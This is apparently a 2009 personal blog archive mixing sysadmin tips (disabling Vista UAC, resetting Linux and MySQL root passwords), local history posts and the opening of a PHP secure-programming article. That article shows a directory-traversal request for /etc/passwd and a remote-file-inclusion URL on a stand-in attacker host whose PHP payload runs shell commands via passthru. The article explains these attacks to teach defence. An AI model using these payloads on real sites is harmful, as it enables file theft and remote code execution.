John Bernard Abella [blog]

A System Admin’s Notebook, A Progrmmers Journal
March 3rd, 2009

Enable / Disable UAC of Vista

UAC(User Access Control) is a feature of Windows Vista that is to enhance the security of your system. Each time an application is installed or whenever an important system change is made by the user or by a running process, the screen is blacked out and temporarily disabled and a dialog is shown with the choices to allow or deny the action, there are many way of how to disable that one…

A. This Method is using MSCONFIG

    1. Start Menu -> type in the search area “run” enter

    2. Type msconfig in run then enter.

  

    3.  Click on the Tools tab. Scroll down till you find “Disable UAC” . Click on that line.

     

    4. Press the Launch button.

    5. When the command is done, you can close the window.

    6. You need to reboot the computer for changes to apply.

You can enable the UAC back, by doing the same thing but select the “Enable UAC” then Launch Button.

Share/Save

Go to Original Source

March 3rd, 2009

Valentines Day

Valentine’s Day is a holiday celebrated on February 14.  It is the traditional day on which lovers express their love for each other by sending Valentine’s cards, presenting flowers, or offering confectionery, all in the name of St. Valentine.. It is named after two among the numerous Early Christian martyrs named Valentine. The day became associated with romantic love in the circle of Geoffrey Chaucer in the High Middle Ages, when the tradition of courtly love flourished.

According to legend, the holiday has its roots in the ancient Roman festival of Lupercalis/Lupercalia, a fertility celebration commemorated annually on February 15. As Christianity came to dominance in Europe, pagan holidays such as Lupercalia were frequently renamed for early Christian martyrs. In 496 AD, Pope Gelasius recast this pagan festival as a Christian feast day circa 496, declaring February 14 to be the feast day of the Roman martyr Saint Valentine, who lived in the 3rd century.

Most scholars believe that the St. Valentine of the holiday was a priest who attracted the disfavor of Roman emperor Claudius II around 270. The history of St. Valentine’s Day has two legends – the Protestant and the Catholic legend.  According to both legends, Valentine was a bishop who held secret marriage ceremonies of soldiers in opposition to Claudius II who had prohibited marriage for young men and was executed by the latter. Although many scholars agree that Lupercalia was moved from Feb. 15th to the 14th and was Christianized by associating it with this St. Valentine character, it is still unclear just who the historical St. Valentine was. One school of thought believes that he was a Roman martyred for refusing to give up his Christian faith. According to church tradition St. Valentine was a priest/bishop of Rome in about the year 270 A.D.

Share/Save

Go to Original Source

March 3rd, 2009

History of Inopacan Leyte

History of Inopacan

Inopacan is a tiny western coastal municipality occupying a mere 182 square kilometers of green rolling hills bordered by narrow coastal plains. From the sea, it looks like a little coconut-convered rural community with a backdrop of high blue-greenish mountains. Beyod these mountains are the boundaries of Mahaplag and portions of Sogod, Southern Leyte and Hilongos. To the north is the progressive town of Baybay and the south is the equally small and peaceful Hindang town. The rich Camotes Sea Bound the western part.

The Town has twenty barangays, eight of which, including the poblacion, are along the coast. One is an island barangay and the rest are in the interior part. Sixty-five percent of the people live along the coast.

It is believed that the early settlers of Inopacan came from Cebu and Bohol. The Present site has been its original location because it had never been subjected to attacks from the moros. This was because of a dragon-sized snake that once lived in a cape located at the western sea approach to the town. This huge reptile would reportedly attack boats that would pass by it, so it prevented moro “pangkos” from landing at the settlement.

After the snake was killed, the settlement continued to enjoy a life of peace and safety because there appeared another protector of the people, a legendary hero by the name of “Inong.” The hero was said to be a leader of a well-trained band of men who successfully defended the pueblo from depredating moros. Believed to have possessed supernatural powers, Inong was said to be able to jump from hill to hill or from moro boat to boat wreaking havoc on the invaders so much so that he was commonly believed to have some kind of wings. Wings in the dialect means “pako” so that one who possessed wings is called “pak-an.” Inong therefore was known far and wide as Inong Pak-an, the winged Inong – which has been transformed to its present Inopacan for easier pronunciation.

Unfortunately, the town has lost all records and documents that could be make as the basis of a historical account since the archives of the parish church and the records of the minicipal building were burned during the war years. From the scanty and fragmentary records and references available. However, the town began its organized existence, then as a barrio sometime 1852. The barrio was under the jurisdiction of Hindang. As one of the most progressive barrios of Hindang, its inhabitants petitioned for its establishment as a municipality. With the help of an “ilustrado” from the town of Baybay – the late Don Quirimon Alkuino – the town’s leaders finally succeeded in convincing the Spanish authorities to create the municipality of Inopacan. On October 22, 1885, the petition was granted.

In 1887, the new municipality was erected as an independent parish.

During the years of the revolution, Inopacan enjoyed the fame of being selected as the site of the headquarters of the Filipino nationalist forces at one time or another. Shortly after the fall of Spanish rule in the archipelago and especially during the fight against the Americans, Inopacan was selected several times as the site of the conference between the pacifists and leaders of the resistance movement in the campaign for peace.

Just after the outbreak of the Second World War, long before the invading Japanese forces arrived at the municipality, the townspeople of Inopacan experienced a reign of terror that presaged the coming years of occupation. A certain Julia Manapsal, wife of an American and self-styled as the “Joan of Arc of Inopacan” terrorized the municipality and neighboring towns and barrios. With a following of well-armed men, she took complete control of the town and instituted a veritable “juez de cuchillo” where her word was law. Judge and executor at the same time, she cowed people with a brutality that matched that of the Japanese. men and women of any age were liquidated at the merest suspicion of non-cooperation. many were condemned without trial. Security of property was unheard of and everything that the bandits wanted, were taken. Fortunately, government forces quelled the movement that threatened to grow into an uprising.

Just before the japanese, a faction of the Leyte Area Command occupied Inopacan, a guerrilla force under General Kangeleon used the town for its headquarters. At this time, the unfortunate struggle for supremacy between the guerrilla forces took place.

The Japanese occupation did not bring any notable change in the town other than the fact that public building were denuded of records and furniture which the Japanese used as fule ot form some kind of barricade for their trenches.

Inopacan was one of the few towns that suffered heavily from the bombing of liberation forces. The shelling took a heavy toll of lives and property. Municipal building to rubble. On December 8, 1944, three years after the Philippines became involved in the Second World War, Inopacan was a miserable heap of ashes an stone.

Shortly after the war, a slow period of recovery took place. A Catholic school was founded by the prominent citizens of the town through the efforts of Fr. Emiliano Sudario, the parish priest and the late Judge Broneo. A short period of relative prosperity reigned in the town.

Then, in 1951, a strong typhoon destroyed a great protion of the town. Before the people had hardly recovered from the effects of the typhoon, a big fire in 1953 razed the center of the community, reducing to ashes almost all of the homes in the heart of the town.

Inopacan is primarily an agricultural town. The residents are proud of the fine abaca in the region, about 50,000 kilos of which are shipped to Cebu every month.

The fish supply of the town comes form its own fishing grounds along the coast or in the waters around and near the islands of Apid, Mahaba, and Digyo.

Another source of livelihood of the people is from business. There are business establishments like dry goods store, hardware, drug stores and eateries, among others. The town has six rice mills and has a wharf under construction.

On the educational aspect, Inopacan has the Inopacan Institute, a private high school established 30 years ago. There are four rural high schools and eleven elementary schools.

These and many other achievements have considerably promoted the growth of the town and the fact that is has been choosed as the site of the first cooperative rural bank in Leyte is a sign of its continuing progress.

Share/Save

Go to Original Source

March 3rd, 2009

Error 500 in codeigniter using xampp

The cause of that error 500 mostly its because your using .htaccess in codeigniter, to solve that problem go to the directory of your xampp for example c:\xampp\apache\conf\ and open the file named “httpd.conf” and go to line 118 and remove the comment which is the number sign (#) or search the “mod_rewrite” then remove the comment.

Share/Save

Go to Original Source

March 3rd, 2009

Bookmark Your Page Javascript , Add to Favorites script

1. Place the following javascript in the <HEAD>…</HEAD> section of your page html source. dont forget to put <script type=”text/javascript”>…</script>

1
2
3
4
5
6
7
8
9
10
11
12
function bookmarksite(title,url){
   if (window.sidebar)
	window.sidebar.addPanel(title, url, '');
   else if(window.opera &amp;&amp; window.print){
	var elem = document.createElement('a');
	elem.setAttribute('href',url);
	elem.setAttribute('title',title);
	elem.setAttribute('rel','sidebar');
	elem.click();
   }else if(document.all)
	window.external.AddFavorite(url, title);
}

2. Place this bookmark link in your html page source between the and tags, where you want the link to appear on your page.

<a href="javascript:bookmarksite(’Joey Villas - Blog','http://www.joeyvillas.com')">Bookmark this site!</a>

DEMO

Share/Save

Go to Original Source

March 3rd, 2009

How to activate administrator account in Vista

Key decision – decide if you need a password for the administrator’s account that you are going to activate.  My point is that the local policy may insist on a complex password, thus you will not be able to activate the administrator with a blank password.  This technique also works on Windows Server 2008, however on that operating system it is more likely you will set /active:no.

  1. Logon to Vista using your usual account.
  2. Launch the cmd prompt – Make sure you select, ‘Run as administrator’
  3. Net user administrator p£ssw0rD
  4. Net user administrator /active:yes
  5. Switch User, or logoff
  6. Logon as Administrator  Password p£ssw0rD
    (Your password may be different!)

Share/Save

Go to Original Source

May 14th, 2008

Insufficient System Resources Exist to Complete the API.

SYMPTOMS

You use a computer that is running Microsoft Windows XP with Service Pack 2 (SP2), Microsoft Windows XP Tablet PC Edition 2005, or Microsoft Windows XP Media Center Edition 2005. When you try to put the computer in hibernation, the computer occasionally does not hibernate. When this problem occurs, you receive an error message that is similar to the following:

Insufficient System Resources Exist to Complete the API.

When you experience this problem, the hibernate feature is not available on the computer until you restart the computer.

This problem typically occurs when the computer uses 1 gigabyte (GB) or more of RAM.

Note The Windows XP SP2 features and components are included in Windows XP Tablet PC Edition 2005 and in Windows XP Media Center Edition 2005.

CAUSE

This problem occurs because the Windows kernel power manager cannot obtain the memory resources that are required to prepare the computer to hibernate.

RESOLUTION

The following file is available for download from the Microsoft download center:

  • Download Link: Update for Windows XP (KB909095)
February 7th, 2008

Recovering from a forgotten root password

To perform a system administrator task, you have to know the root password. What happens if you forgot your root password? Not to worry. Just reboot your PC and you can reset the root password by following these steps:

  1. Reboot the PC(select reboot as you log out the of the GUI) or power up a usual.

    Soon you see the graphical boot loader on screen that shows the name of the operating systems you can boot. If your system runs with LILO boot loader, press Ctrl+X and at the boot prompt type linux single and press enter. Then proceed to step 4.

  2. If you have more than one operating system installed, use the arrow key to select linux as operating system, then press the A key.
  3. GRUB prompts you for commands to add to its defualt boot command.

  4. Press the spacebar, type the following, and press enter:
  5. single

    Linux starts up as usual but runs in a single-user mode that do not require you to log in. After linux starts, you will see the following command line prompts that ends with a hash mark (#), similar to the following :

    sh-2.05b#

  6. Type the paswrd command to change the root password as follows:
  7. sh-2.05b# passwd
    Changing password for root user.
    New password:

  8. Type the new root password that you want to use (it doesn’t appear on screen) and then press enter.
  9. Linux asks for the password again, like this:

    Retype new password:

  10. Type the new password again, and press enter.
  11. If you enter the same password both times, the passwrd command changes the root password.

  12. Now type reboot to reboot the PC.
  13. After linux starts, it displays the familiar login screen. Now you can log in as root with the new password

February 6th, 2008

Resetting Mysql root Password

‘Like locking your keys in the car, to forget your password after
you’ve spent an hour installing and tweaking a new MySQL server can be
an embarassment to say the least.’

Fortunately, if you have root access to that computer, all in NOT lost.

Here are the steps when you found yourself in this situation.

1. Kill the server process.
% kill pid
(where pid is the process id. Do not use kill -9 unless absolutely
necessary, as this may damage your table files)

2. Run safe-mysqld with the –skip-grant-tables command line option.
(This instructs the MySQL server to allow unrestricted access to
anyone) NOTE: restrict all remote access before issuing this command
% safe-mysqld --skip-grant-table

3. Change root password
mysql > use mysql;
mysql > update user set password = password('newpassword') where user
= 'root';


4. Disconnect and instruct the mysql server to reload the grants
tables to begin requiring passwords.
% mysqladmin flush-privileges

“That does it — and nobody ever has to know what you did. As for
locking your keys in your car, you’re on your own there.”

Must have for php-mysql beginners developers.

February 5th, 2008

Secure Programming in PHP

This article discusses the common threats and challenges of programming secure PHP applications and practical methods for doing so.

Introduction

The goal of this paper is not only to show common threats and challenges of programming secure PHP applications but also to show you practical methods for doing so. The wonderful thing about PHP is that people with little or even no programming experience are able to achieve simple goals very quickly. The problem, on the other hand, is that many programmers are not really conscious about what is going behind the curtains. Security and convenience do not often go hand in hand — but they can.

Dangers

Files
PHP has some very flexible file handling functions. The include(), require() and fopen() functions accept local path names as well as remote files using URLs. A lot of vulnerabilities I have seen are due to incorrect handling of dynamic file or path names.

Example
On a site I will not mention in this article (because the problem still has not been solved) has one script which includes various HTML files and displays them in the proper layout. Have a look at the following URL:

http://example.com/page.php?i=aboutus.html

The variable $i obviously contains the file name to be included. When you see a URL like this, a lot of questions should come to your mind:

* Has the programmer considered directory traversals like i=../../../etc/passwd?
* Does he check for the .html extension?
* Does he use fopen() to include the files?
* Has he thought about not allowing remote files?

In this case, every answer was negative. Time to play! Of course, it is now possible to read all the files the httpd user has read access for. But what is even more exciting is the fact that the include() function is used to include the HTML file. Consider this:

http://example.com/page.php?i=http://evilhacker.org/exec.html

Where exec.html contains a couple of lines of code:

<?php
passthru ('id');
passthru ('ls -al /etc');
passthru ('ping -c 1 evilhaxor.org');
passthru ('echo You have been hax0red | mail root');
?>

I am sure you get the idea. A lot of bad things can be done from here.

Get Adobe Flash playerPlugin by wpburn.com wordpress themes